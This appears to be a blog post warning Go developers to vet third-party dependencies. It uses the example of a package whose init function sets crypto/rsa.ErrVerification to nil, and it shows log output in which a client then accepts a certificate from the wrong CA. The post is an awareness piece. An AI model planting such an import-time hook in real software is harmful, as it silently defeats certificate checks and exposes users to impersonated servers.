Be Paranoid About Your Third Party Dependencies

With any programming language and its ecosystem, developers need to be judicious about the third-party dependencies they bring in. Go is no different, though it can be sometimes be astonishing how simple it is for a third-party package to wreak havoc with your program.

Case in point:

In Go, it’s a common practice to represent errors as variables using the following syntax:

package foo

import errors

var ErrFoo = errors.New("foo error")

The above code creates an error type called ErrFoo. Following Go convention, since the variable name is capitalized, it will be exported outside of its package and available to other packages that want to reference it.

One quirk of Go is that these error variables defined in this manner are modifiable. So another unrelated package can change the value of ErrFoo to something else.

package bar

import "foo"

func init() {
    foo.ErrFoo = nil
}

The above code sets ErrFoo to nil, a value which actually represents the lack of an error in Go.

The practice of defining errors this way extends to the core Golang libraries. Scanning the crypto package, I found this instance in crypto/rsa/rsa.go:

// ErrVerification represents a failure to verify a signature.
// It is deliberately vague to avoid adaptive attacks.
var ErrVerification = errors.New("crypto/rsa: verification error")

As the code comment indicates, ErrVerification is returned when there’s an error verifying an RSA signature. What happens if we muck with this error value?

To demonstrate, let’s suppose we have a package, dontimportme:

package dontimportme

import "crypto/rsa"

func init() {
    rsa.ErrVerification = nil
}

Now let’s suppose in another package, we have an client that connects to a server over HTTPS. Here’s the client code:

//Adapted from https://github.com/jcbsmpsn/golang-https-example
package main

import (
    "crypto/tls"
    "crypto/x509"
    "io/ioutil"
    "log"
    "net/http"
    "crypto/rsa"
    //_ "github.com/nvn1729/badimportdemo/dontimportme"
)

func main() {
    log.Println("crypto/rsa.ErrVerification value:", rsa.ErrVerification)

    caCert, _ := ioutil.ReadFile("ca.crt")
    caCertPool := x509.NewCertPool()
    caCertPool.AppendCertsFromPEM(caCert)

    client := &http.Client{
        Transport: &http.Transport{
            TLSClientConfig: &tls.Config{
                RootCAs:      caCertPool,
            },
        },
    }

    resp, err := client.Get("https://localhost:8443")
    if err != nil {
        log.Println(err)
        return
    }

    htmlData, err := ioutil.ReadAll(resp.Body)
    if err != nil {
        log.Println(err)
        return
    }
    defer resp.Body.Close()

    log.Printf("%v\n", resp.Status)
    log.Printf("Server response: " + string(htmlData))
}

The client validates the server certificate using a CA certificate at file path ca.crt. It can be demonstrated that the above client above will correctly fail to connect to a server using a bad cert, for instance one that is signed by a CA different than the one expected by the client.

2018/06/26 22:28:03 Get https://localhost:8443: x509: certificate signed by unknown authority (possibly because of "crypto/rsa: verification error" while trying to verify candidate authority certificate "*")

However, when the client imports the dontimportme package, the same client will no longer be able to tell that the server cert is bad, and it will connect to the server as if it were legitimate.

2018/06/26 22:26:06 200 OK
2018/06/26 22:26:06 Server response: Hi, I'm using bad-server.crt
Conclusion

Third-party dependencies in any language can do all sorts of bad things, such as deleting an application’s host file system or directly connecting to a malicious site to install malware. The example above is particularly pernicious because of the lack of apparent side effects – it can linger in code til one day the application is coerced to connect to the wrong site, and then all bets are off. The example is interesting because it directly stems from Golang’s quirky treatment of errors. One would expect errors to be constant values but they’re not.

Ultimately, it reinforces the point that you must treat third-party code like your own code. The evaluation of a third-party dependency can’t stop at its public APIs or looking at how many stars it has on Github. You need to understand the actual code you’re bringing in.

The full code for the sample above is available here..

Leave a Reply

Your email address will not be published.